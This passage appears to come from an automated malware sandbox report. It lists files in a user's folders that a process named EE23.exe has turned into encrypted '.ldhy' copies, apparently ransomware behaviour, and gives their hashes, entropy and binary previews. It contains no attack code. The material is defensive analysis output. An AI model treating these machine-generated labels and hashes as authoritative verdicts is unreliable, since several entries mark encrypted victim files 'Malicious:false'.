                                                                                                                                                                                                                                                              Preview:PALRGy.....s.+I.+8....-].1.k^.h........8}...A.t..\..%LH..`....g..Alo..\......(...m.&...P....Q...&.R.....e...y.3{.@A...*&.p...a....}..u.."RY3....\...j..g...J e@j9Ml.....j.:.sh?W...E.M..6n...TX(....u...J..SuR.....C..w....j.7;.%Z|...~..4.!...y..B..s....c.y.....j9..w..>d-......&...t..X..t...L.+......^>ck...c4..o;d.Df_.........s..L.}.i..l.....zP.yv.n..h.L....M.R.|...v.*C0M.5..B.L.D.,A.;...2&...)pu.h.q.R...H...C..&]+....j.H.(.r.\.G...vH..2...P."_a..5q?..{^...3T...f^...f....q......iK...-U..........j.].[.3B$.....U.....kGfi...Y..!,hY. .s.G3;.[..k.......h...%.1.Q......NB......&Oq2r...FU...b.]Z....P....g|".R.yg.....z..8n!\....e..\K;[#...y}T.X.C.$..J.v.WJ..{.$..y.O..0..H..N./.:Z..q..5..7....R.^.V....c*x.r5..8...=...Q.......zO./..9.!.:z....I.I........s.+a..)..[...x..4.]..9..HO.Q...o.bt....K.9..p..c........~...1...b#..7zqs?#-s.}U.~F=...,......y....I|2.[.KJ'...s[x...O......O....p.....0..o....xj......{..@.....Hb&..,.^n....x..$}...4.......

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\PALRGUCVEH.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.865057822376444
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:T5yQ2C8oH/R/sdh3wot52rMlYEu9SCOlK8vKd6Vq0fLsbD:9ywZsHj2ac8SEI0fLmD
                                                                                                                                                                                                                                                              MD5:FB6CF02F8FE161B96C0F87B84CC85052
                                                                                                                                                                                                                                                              SHA1:1F12EA0A3F208B38437D412D9F61FCC5935DAE26
                                                                                                                                                                                                                                                              SHA-256:62A7C8F5D879112C11CCF228E90F23233F98FC984CDBB49CFC8C6F280623B88A
                                                                                                                                                                                                                                                              SHA-512:A405B13CEBE25DFF051498CB966B23F01D024041195A257F00E840CC18E380AA4412977F672FDA0F14180A42C769734B37E111D9C4871647825ECC3C809AF3C0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:PALRGy.....s.+I.+8....-].1.k^.h........8}...A.t..\..%LH..`....g..Alo..\......(...m.&...P....Q...&.R.....e...y.3{.@A...*&.p...a....}..u.."RY3....\...j..g...J e@j9Ml.....j.:.sh?W...E.M..6n...TX(....u...J..SuR.....C..w....j.7;.%Z|...~..4.!...y..B..s....c.y.....j9..w..>d-......&...t..X..t...L.+......^>ck...c4..o;d.Df_.........s..L.}.i..l.....zP.yv.n..h.L....M.R.|...v.*C0M.5..B.L.D.,A.;...2&...)pu.h.q.R...H...C..&]+....j.H.(.r.\.G...vH..2...P."_a..5q?..{^...3T...f^...f....q......iK...-U..........j.].[.3B$.....U.....kGfi...Y..!,hY. .s.G3;.[..k.......h...%.1.Q......NB......&Oq2r...FU...b.]Z....P....g|".R.yg.....z..8n!\....e..\K;[#...y}T.X.C.$..J.v.WJ..{.$..y.O..0..H..N./.:Z..q..5..7....R.^.V....c*x.r5..8...=...Q.......zO./..9.!.:z....I.I........s.+a..)..[...x..4.]..9..HO.Q...o.bt....K.9..p..c........~...1...b#..7zqs?#-s.}U.~F=...,......y....I|2.[.KJ'...s[x...O......O....p.....0..o....xj......{..@.....Hb&..,.^n....x..$}...4.......

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\SQSJKEBWDT.docx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.83081965974395
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bbWxN/fxGvrfRJ3rMKmYE73O9VhKAc71jJdOw+HDERkTcg3sbD:bbWxN/fxCFmKmYyO9MlJY5H9t3mD
                                                                                                                                                                                                                                                              MD5:9AF9A543866A416DC836FA59B9490A74
                                                                                                                                                                                                                                                              SHA1:B2BAB260856A644D27725D7FC3C1F1A9768A6306
                                                                                                                                                                                                                                                              SHA-256:E2B97E16FD4F13ECBFC2DD86C19414EA08C4D7B8575DA8F907241F3F94E04250
                                                                                                                                                                                                                                                              SHA-512:114C437E761CBC22832C94C14A63441A44819B1122BFA8922F0C97782607F46C36A28D27BADA2DFFEA26253A1B9049EBF5AA93D30C7AC58B90315CC684BDC4EC
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK....CO.t=....\.k...l..E..3..."..4.o9EJn2a......^6.B.j...Z.W/...pzu.........F.<...K..$/.t....j......|.K".E....4W....+*Z....C...mi.4.6"-..zip_.l..u..0.XvQ.g.w..U#...E.......1_+x.0^j.f...j...O%.[.!...C.5.2..0zK~.....s...q"3......B0.Y.t:...<I.!{..a..vN.,..Y20.6..o.c...=..eb{.......T+g.NH....W.-=..63....xqB"{..k..0.j+=.B^.y{....z._.TWPy.........a....r.6p.q..e66~.7).e.Ozc.q6....w.m:..t.a^3U.Hp~.T.D..A....-@o...e_&....t..*...#.ge.U.k6..s..9w.....t.SH...f...........z......_..Xi;8.78?..z.kk.....m..y(.:.......)..<.....+k."++K.j) /..O.k*'...:.L..>.S.p...Zb..B+\..J..t..;..R.... _.2B[..XJ~|.........),....@`f ...@h..y..f.3YC...^h.V.|..R.......-.....PMn....j.M....z.v.H...r....T.U[..\.&.2VG..v....Oz.#...''5..E9..I.....B....hr....n&..x..y..?D...i..EA.O..1.}.....[m4.ISn....C...~...&..."......C.O.r.u...d......9.5.A..P..X..A.'.gP8}:.&.<.=..........J...~...{u...q.e=......}.zCV..^.Av..-:|s.j.$Ozt...Bi.."#....[~D..R...9. .B........1.tiZ.;0.E^wA.l.E...

                                                                                                                                                                                                                                                              C:\Users\user\Documents\SQSJKEBWDT\SQSJKEBWDT.docx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.83081965974395
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:bbWxN/fxGvrfRJ3rMKmYE73O9VhKAc71jJdOw+HDERkTcg3sbD:bbWxN/fxCFmKmYyO9MlJY5H9t3mD
                                                                                                                                                                                                                                                              MD5:9AF9A543866A416DC836FA59B9490A74
                                                                                                                                                                                                                                                              SHA1:B2BAB260856A644D27725D7FC3C1F1A9768A6306
                                                                                                                                                                                                                                                              SHA-256:E2B97E16FD4F13ECBFC2DD86C19414EA08C4D7B8575DA8F907241F3F94E04250
                                                                                                                                                                                                                                                              SHA-512:114C437E761CBC22832C94C14A63441A44819B1122BFA8922F0C97782607F46C36A28D27BADA2DFFEA26253A1B9049EBF5AA93D30C7AC58B90315CC684BDC4EC
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:SQSJK....CO.t=....\.k...l..E..3..."..4.o9EJn2a......^6.B.j...Z.W/...pzu.........F.<...K..$/.t....j......|.K".E....4W....+*Z....C...mi.4.6"-..zip_.l..u..0.XvQ.g.w..U#...E.......1_+x.0^j.f...j...O%.[.!...C.5.2..0zK~.....s...q"3......B0.Y.t:...<I.!{..a..vN.,..Y20.6..o.c...=..eb{.......T+g.NH....W.-=..63....xqB"{..k..0.j+=.B^.y{....z._.TWPy.........a....r.6p.q..e66~.7).e.Ozc.q6....w.m:..t.a^3U.Hp~.T.D..A....-@o...e_&....t..*...#.ge.U.k6..s..9w.....t.SH...f...........z......_..Xi;8.78?..z.kk.....m..y(.:.......)..<.....+k."++K.j) /..O.k*'...:.L..>.S.p...Zb..B+\..J..t..;..R.... _.2B[..XJ~|.........),....@`f ...@h..y..f.3YC...^h.V.|..R.......-.....PMn....j.M....z.v.H...r....T.U[..\.&.2VG..v....Oz.#...''5..E9..I.....B....hr....n&..x..y..?D...i..EA.O..1.}.....[m4.ISn....C...~...&..."......C.O.r.u...d......9.5.A..P..X..A.'.gP8}:.&.<.=..........J...~...{u...q.e=......}.zCV..^.Av..-:|s.j.$Ozt...Bi.."#....[~D..R...9. .B........1.tiZ.;0.E^wA.l.E...

                                                                                                                                                                                                                                                              C:\Users\user\Documents\TQDFJHPUIU.jpg

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847758004522195
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:rRQl3XMSeL7Mldr46gLYbYCG+fOuJwR7sqF0+GO88PxPgACssbD:rRQlnMSeL7MbrX0YbYCG+fOewRwaGNT9
                                                                                                                                                                                                                                                              MD5:C4E5E799FB4DC2429CCB404B945DCE79
                                                                                                                                                                                                                                                              SHA1:69F593C25BFB211E8DD5E091B3A79F162D1F83F8
                                                                                                                                                                                                                                                              SHA-256:8BFB78F61A7C2F095DB994BDCC3172D7CD78CF9B84C29E9E85EB3A4875243983
                                                                                                                                                                                                                                                              SHA-512:6F440ADDCF45C300ACA3B2A16155920B65F874CC89DCFDB352624A615E7FDD065B22EB46AE310E4709A60837DAA77DA84E47A2EDC1DAC557C19D384ECADA8F32
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:TQDFJrz....X...(.O...D..R.......;..`.h....o..5..".....^.-v......%.UP.3x..5..._.a.|PN>.k..f...(_.@....X.J.4..".) ...C...}5Z....7.~p./../s.X/C.....<.o....R....DzeE.k..y..!.:.v.>.&.O; .N.o....H.......a........$.....3.d.rp... ...........#lq.4..f.[......'$:.].R.DY_....m.,D..........*%..g.@..|{.H..P.,1E...x...F.....B ...q..:.?.....a..5:..oY._=U2X..-..g.h.9.Rq.}.o.Q...F....+../...lH.#...r...4...z.'.ab.k.5....O.oSB.^...FpP.:....>c.w.....[...Y(..m+..A.!...>....>}*'.C].......KD..."O.....5?"J.h......T:.X.5$..g+.jy.Z+f;.$.t.k2.V..3q.;'M:.e.S.......]q..h....+..d....?..L.$.....Z.!)d?..y..hs.i.U..i...H...#...9..'.).IM....menV.^.~g.Pgvj.}.N'..3..V..{.{{....(.X1=...L.v.R.T.<i.....zXKb.....[O..j....<./fs......O.{.>l...t...T!..d...r_U.S...rD..d5.......`.qnF.+.....j..1...U....h|....:2Zj...Uw'=Z.....&KA;..?...8.Y..y...wi".7..........q`.v.J.o.X...$;GFE.X%.q3'5..;...c.,....e=......``...h.|.M'm.KN".6.(;l...##.......)K.0.6.i_.=....Ja....!..52.....R0F.3.....X...`...:-....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\TQDFJHPUIU.jpg.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.847758004522195
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:rRQl3XMSeL7Mldr46gLYbYCG+fOuJwR7sqF0+GO88PxPgACssbD:rRQlnMSeL7MbrX0YbYCG+fOewRwaGNT9
                                                                                                                                                                                                                                                              MD5:C4E5E799FB4DC2429CCB404B945DCE79
                                                                                                                                                                                                                                                              SHA1:69F593C25BFB211E8DD5E091B3A79F162D1F83F8
                                                                                                                                                                                                                                                              SHA-256:8BFB78F61A7C2F095DB994BDCC3172D7CD78CF9B84C29E9E85EB3A4875243983
                                                                                                                                                                                                                                                              SHA-512:6F440ADDCF45C300ACA3B2A16155920B65F874CC89DCFDB352624A615E7FDD065B22EB46AE310E4709A60837DAA77DA84E47A2EDC1DAC557C19D384ECADA8F32
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:TQDFJrz....X...(.O...D..R.......;..`.h....o..5..".....^.-v......%.UP.3x..5..._.a.|PN>.k..f...(_.@....X.J.4..".) ...C...}5Z....7.~p./../s.X/C.....<.o....R....DzeE.k..y..!.:.v.>.&.O; .N.o....H.......a........$.....3.d.rp... ...........#lq.4..f.[......'$:.].R.DY_....m.,D..........*%..g.@..|{.H..P.,1E...x...F.....B ...q..:.?.....a..5:..oY._=U2X..-..g.h.9.Rq.}.o.Q...F....+../...lH.#...r...4...z.'.ab.k.5....O.oSB.^...FpP.:....>c.w.....[...Y(..m+..A.!...>....>}*'.C].......KD..."O.....5?"J.h......T:.X.5$..g+.jy.Z+f;.$.t.k2.V..3q.;'M:.e.S.......]q..h....+..d....?..L.$.....Z.!)d?..y..hs.i.U..i...H...#...9..'.).IM....menV.^.~g.Pgvj.}.N'..3..V..{.{{....(.X1=...L.v.R.T.<i.....zXKb.....[O..j....<./fs......O.{.>l...t...T!..d...r_U.S...rD..d5.......`.qnF.+.....j..1...U....h|....:2Zj...Uw'=Z.....&KA;..?...8.Y..y...wi".7..........q`.v.J.o.X...$;GFE.X%.q3'5..;...c.,....e=......``...h.|.M'm.KN".6.(;l...##.......)K.0.6.i_.=....Ja....!..52.....R0F.3.....X...`...:-....

                                                                                                                                                                                                                                                              C:\Users\user\Documents\UNKRLCVOHV.mp3

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.853016817225124
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FHh31fSnVzkbOdIvLgQFy9G5m2z7mDF/mXa+TzJ2vXKM8KZJgHxN+Ot4sbD:FB1CVzagQyA5m2qFgaiJ2PKMXZimOumD
                                                                                                                                                                                                                                                              MD5:37A17E1D2AC405252C7DA2C5720C4E96
                                                                                                                                                                                                                                                              SHA1:AF62F6E7491D8C57EEDA79F78C792BB9E0ABED10
                                                                                                                                                                                                                                                              SHA-256:EA4A850A60BA8A5F0D133479F2A11A6A65CCDCCE83CCE19068AD5BED55DC49D1
                                                                                                                                                                                                                                                              SHA-512:E1B1E1015F308FA5B37AD3DEBAEEF410332B32341BA4D0D4D9BAACECB690CBE86B354E0850B50412A4BBCC2771DF1E295AA03E5B48367D0DC2F9DC17C20265F5
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:UNKRL....\0.j ..T..e......."..."x.[....R}.z..g...l.w....XA.r.-....$....D..~..$r-..1...N9..:p.D}.v. ...C.'....n..7$.L~........KQ..Lws..../...d.|.\..o.'" .j.F.t....Gi...\l..!J.]......jJ..6@t.....!...;."..)v...........E.Q[.<.H.6..c....S.w..~..f....?u7VF..9...A......6...../_}.46.G.o..F.u...K...h!|.>4...]r...9..(.W..q.*..@...(.}......=..>.g.+..;....(F.w....x.u.J.......4u.._e.........r...C....S..)..}..>(......!.f%.8p.......Z.>.e.|b......$.Ze....}c.J.]H.TR....pdC\.k.E..Ru.B.6..WWP....h.X.s..:....v.-L........_...K..!.M_.o..(..0....O)....I .q.u..:....JT?].....\M+..TG.Y..d.+.7G.7wc.O..9..N'....$m.W.^.....|).:%.a....l...\.....#'T....e...b.3.j3..+.`s..Y.WW..aN......E.h:.d.... u.7....gX_..;.J.U.......).T.....@...(...d..w...3.C...].....Qg... ..q..(%.t..f.;....H*bu.+.....K.W.6....Y@.oe.f4.......#.1........%.H......o....`IL.$..Aa{.0.....-..>...C...j.#.6..8.....LV..."-.*...../G...%\...2...?.,_..c1...xm.h..A..FWRgW..f^..........hKO .......

                                                                                                                                                                                                                                                              C:\Users\user\Documents\UNKRLCVOHV.mp3.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.853016817225124
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:FHh31fSnVzkbOdIvLgQFy9G5m2z7mDF/mXa+TzJ2vXKM8KZJgHxN+Ot4sbD:FB1CVzagQyA5m2qFgaiJ2PKMXZimOumD
                                                                                                                                                                                                                                                              MD5:37A17E1D2AC405252C7DA2C5720C4E96
                                                                                                                                                                                                                                                              SHA1:AF62F6E7491D8C57EEDA79F78C792BB9E0ABED10
                                                                                                                                                                                                                                                              SHA-256:EA4A850A60BA8A5F0D133479F2A11A6A65CCDCCE83CCE19068AD5BED55DC49D1
                                                                                                                                                                                                                                                              SHA-512:E1B1E1015F308FA5B37AD3DEBAEEF410332B32341BA4D0D4D9BAACECB690CBE86B354E0850B50412A4BBCC2771DF1E295AA03E5B48367D0DC2F9DC17C20265F5
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:UNKRL....\0.j ..T..e......."..."x.[....R}.z..g...l.w....XA.r.-....$....D..~..$r-..1...N9..:p.D}.v. ...C.'....n..7$.L~........KQ..Lws..../...d.|.\..o.'" .j.F.t....Gi...\l..!J.]......jJ..6@t.....!...;."..)v...........E.Q[.<.H.6..c....S.w..~..f....?u7VF..9...A......6...../_}.46.G.o..F.u...K...h!|.>4...]r...9..(.W..q.*..@...(.}......=..>.g.+..;....(F.w....x.u.J.......4u.._e.........r...C....S..)..}..>(......!.f%.8p.......Z.>.e.|b......$.Ze....}c.J.]H.TR....pdC\.k.E..Ru.B.6..WWP....h.X.s..:....v.-L........_...K..!.M_.o..(..0....O)....I .q.u..:....JT?].....\M+..TG.Y..d.+.7G.7wc.O..9..N'....$m.W.^.....|).:%.a....l...\.....#'T....e...b.3.j3..+.`s..Y.WW..aN......E.h:.d.... u.7....gX_..;.J.U.......).T.....@...(...d..w...3.C...].....Qg... ..q..(%.t..f.;....H*bu.+.....K.W.6....Y@.oe.f4.......#.1........%.H......o....`IL.$..Aa{.0.....-..>...C...j.#.6..8.....LV..."-.*...../G...%\...2...?.,_..c1...xm.h..A..FWRgW..f^..........hKO .......

                                                                                                                                                                                                                                                              C:\Users\user\Documents\ZIPXYXWIOY.png

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8474675099876094
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:13uTiv1LCV9o5WcjEQHfVhttbrIn/E9Lc15WmHD36aJvsbD:9rMV9wWclVzhUn/EK1HLxlmD
                                                                                                                                                                                                                                                              MD5:BEB74BF6CAE11D244FF6FEF750DAE146
                                                                                                                                                                                                                                                              SHA1:1390F46207944C2A8B238AE2DC902725EBAAD199
                                                                                                                                                                                                                                                              SHA-256:124C150B70632C70540223FC601A2B7464B91AA880044BB71FF6ECFDF7A6E47D
                                                                                                                                                                                                                                                              SHA-512:3D42139FA00E46940BE21E9F78B50CD73A1AC5ABD3E79F72653F609ADB398DB6A56F6F248C715E6C88145B7E8BF9A07C5B7954359C22B1E2A711A51415921439
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY...K..2..NCx..u:....s..:...J....@.r..{.".G0%I.o%.W....d.....=Q..U..@.....p/.s.g.-nU.. ...l5..P....D...)JDH.M.ku.._a..$..Vo.N......%.Kv~.=5.N..u.3..X.c....1.;.#>D2....j.........S.O)s^.:4.=.B.b...w...wZ2-.#..2...o..g.!.(.......-aJ.H4..v...:E.....6n.@(.4..{...r.I0.k.9.!8.?.%.sc...\a!..p...,..$.....~..V.G.Re^D.N.....}v.h..1.*.].,.<'....x......... .........q7.h.Q..).!E.x...vA]K.@h.f.M...#25.&.J.SR..W.L..9...$.C....5.....]...-GL.+nuFT.(O~0...35%D...#......@...$vS...~at.....C.o..)p...mp:..WEql..^..._....A..k....O|..l..}..p.b..X..0.`..Y.>.."].'LP..YaO....*....(.?....Y.I..,...@{..w..{.R......BF.`......(.....]..4........Md..DW...,L@K.....nUY.......U.[.....3.....e.c^..!_..u..@f.g..6...b.|..r<.L....c.'.......ZJ.."G..o2.z....uvv.Z.T)... 1.....:.kz. [...,.!....?....A.GC.g..3.l..........j.y...7...T..^. 5.....0.[.........2..6....H.Ne.4....<..mO..d`..'.StFM%......=.p...*.....6i..k..j.U'...\Z......ia`..._g....<.4$..e..5.W3=..B....4......Ix0K.

                                                                                                                                                                                                                                                              C:\Users\user\Documents\ZIPXYXWIOY.png.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.8474675099876094
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:13uTiv1LCV9o5WcjEQHfVhttbrIn/E9Lc15WmHD36aJvsbD:9rMV9wWclVzhUn/EK1HLxlmD
                                                                                                                                                                                                                                                              MD5:BEB74BF6CAE11D244FF6FEF750DAE146
                                                                                                                                                                                                                                                              SHA1:1390F46207944C2A8B238AE2DC902725EBAAD199
                                                                                                                                                                                                                                                              SHA-256:124C150B70632C70540223FC601A2B7464B91AA880044BB71FF6ECFDF7A6E47D
                                                                                                                                                                                                                                                              SHA-512:3D42139FA00E46940BE21E9F78B50CD73A1AC5ABD3E79F72653F609ADB398DB6A56F6F248C715E6C88145B7E8BF9A07C5B7954359C22B1E2A711A51415921439
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:ZIPXY...K..2..NCx..u:....s..:...J....@.r..{.".G0%I.o%.W....d.....=Q..U..@.....p/.s.g.-nU.. ...l5..P....D...)JDH.M.ku.._a..$..Vo.N......%.Kv~.=5.N..u.3..X.c....1.;.#>D2....j.........S.O)s^.:4.=.B.b...w...wZ2-.#..2...o..g.!.(.......-aJ.H4..v...:E.....6n.@(.4..{...r.I0.k.9.!8.?.%.sc...\a!..p...,..$.....~..V.G.Re^D.N.....}v.h..1.*.].,.<'....x......... .........q7.h.Q..).!E.x...vA]K.@h.f.M...#25.&.J.SR..W.L..9...$.C....5.....]...-GL.+nuFT.(O~0...35%D...#......@...$vS...~at.....C.o..)p...mp:..WEql..^..._....A..k....O|..l..}..p.b..X..0.`..Y.>.."].'LP..YaO....*....(.?....Y.I..,...@{..w..{.R......BF.`......(.....]..4........Md..DW...,L@K.....nUY.......U.[.....3.....e.c^..!_..u..@f.g..6...b.|..r<.L....c.'.......ZJ.."G..o2.z....uvv.Z.T)... 1.....:.kz. [...,.!....?....A.GC.g..3.l..........j.y...7...T..^. 5.....0.[.........2..6....H.Ne.4....<..mO..d`..'.StFM%......=.p...*.....6i..k..j.U'...\Z......ia`..._g....<.4$..e..5.W3=..B....4......Ix0K.

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\BNAGMGSPLO.xlsx

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.81804934986012
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:GsMWFngtk0yoQTK5NbEec+BKUKqiSpDg9y1X1WpQxf3u9UHNs1zUnSsbD:zF0yjKoec+BNkWWpyGUHiVbmD
                                                                                                                                                                                                                                                              MD5:53F890EFF659E0AAC23E195E0F282C9A
                                                                                                                                                                                                                                                              SHA1:2BFC725FBC5F2386CAD17B216137BC67D2F4460C
                                                                                                                                                                                                                                                              SHA-256:E7650EB3211F85594D38659274299574F79F2DD9ABBF122FD4712318A5615A7B
                                                                                                                                                                                                                                                              SHA-512:F035A6400ED2E9A5B6288A20C505C36D52D2A5821D258428A0576AC184BA684FC82F2DB8B64AFD310195894CFDDC3D95C75B7E8B59999C86C8A1EE5FB3579DE0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:BNAGM ..3..^H..." .\.L..T..S..ora...Rc.cZ.K*..B.VI..s|..ylp.8.4.F3V_=.m..S.....W...w....m9l+..-.L.GcH.0_..F.p.8...3.)B.....iV.~}_e...0.].a..A.g.a.....Q.4}E..a...q.aO~6.V<|0..G..jE.....7.)@.R]..e\...q.R..[._.b..Ii....O\+..C..\...k...S...T:1..S....jC.<g.]rB.;...eoop*3@2..J...>....z..........S..o..fV...+.&.........IF~.....F.G..3)O..XB3.(.g.....).]......._p.b`8...J.5...6...*T.....GT.L..".sCI.....!...z....p]&`2.7..C.,b.y&..J...a...e.E..J...T...#.v...^..,....S...K...Z.rk$.t.h.].F....k..c..>......Awv.n..2a...5.2..Z......e......e.6...k...O.V..w iu...............V...>SC.2n.. M.q.Gjl.I..?I..S..{.7e.B.......2L{.N..2ap..d...{..M....=X..8..R.8.p..-[...<I....a..T..k.I..1.h........>{....MJD.....h..h/.h.i..u..(z....RV.N.VX..Jm..I.'i.VMJ...rAzP>.8.6<V...!#[..]V.....G+...f.foY!...d..7}lc!S......q.....wU..u:....^.;@O[/.Kd22..7;w.wv.}.Z:l'.....u..>..i..._hE..y7..d6...9@/o%`.!..U.<.|T........e2...;-l.n.jBd.9..N.^.FI.NEL.[..N...#....Ci.\-....o..%.l!.9..K

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\BNAGMGSPLO.xlsx.ldhy (copy)

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
                                                                                                                                                                                                                                                              Entropy (8bit):7.81804934986012
                                                                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                                                                              SSDEEP:24:GsMWFngtk0yoQTK5NbEec+BKUKqiSpDg9y1X1WpQxf3u9UHNs1zUnSsbD:zF0yjKoec+BNkWWpyGUHiVbmD
                                                                                                                                                                                                                                                              MD5:53F890EFF659E0AAC23E195E0F282C9A
                                                                                                                                                                                                                                                              SHA1:2BFC725FBC5F2386CAD17B216137BC67D2F4460C
                                                                                                                                                                                                                                                              SHA-256:E7650EB3211F85594D38659274299574F79F2DD9ABBF122FD4712318A5615A7B
                                                                                                                                                                                                                                                              SHA-512:F035A6400ED2E9A5B6288A20C505C36D52D2A5821D258428A0576AC184BA684FC82F2DB8B64AFD310195894CFDDC3D95C75B7E8B59999C86C8A1EE5FB3579DE0
                                                                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                                                                              Preview:BNAGM ..3..^H..." .\.L..T..S..ora...Rc.cZ.K*..B.VI..s|..ylp.8.4.F3V_=.m..S.....W...w....m9l+..-.L.GcH.0_..F.p.8...3.)B.....iV.~}_e...0.].a..A.g.a.....Q.4}E..a...q.aO~6.V<|0..G..jE.....7.)@.R]..e\...q.R..[._.b..Ii....O\+..C..\...k...S...T:1..S....jC.<g.]rB.;...eoop*3@2..J...>....z..........S..o..fV...+.&.........IF~.....F.G..3)O..XB3.(.g.....).]......._p.b`8...J.5...6...*T.....GT.L..".sCI.....!...z....p]&`2.7..C.,b.y&..J...a...e.E..J...T...#.v...^..,....S...K...Z.rk$.t.h.].F....k..c..>......Awv.n..2a...5.2..Z......e......e.6...k...O.V..w iu...............V...>SC.2n.. M.q.Gjl.I..?I..S..{.7e.B.......2L{.N..2ap..d...{..M....=X..8..R.8.p..-[...<I....a..T..k.I..1.h........>{....MJD.....h..h/.h.i..u..(z....RV.N.VX..Jm..I.'i.VMJ...rAzP>.8.6<V...!#[..]V.....G+...f.foY!...d..7}lc!S......q.....wU..u:....^.;@O[/.Kd22..7;w.wv.}.Z:l'.....u..>..i..._hE..y7..d6...9@/o%`.!..U.<.|T........e2...;-l.n.jBd.9..N.^.FI.NEL.[..N...#....Ci.\-....o..%.l!.9..K

                                                                                                                                                                                                                                                              C:\Users\user\Downloads\DUUDTUBZFW.pdf

                                                                                                                                                                                                                                                              Download File
                                                                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Temp\EE23.exe
                                                                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                                                                              Size (bytes):1360
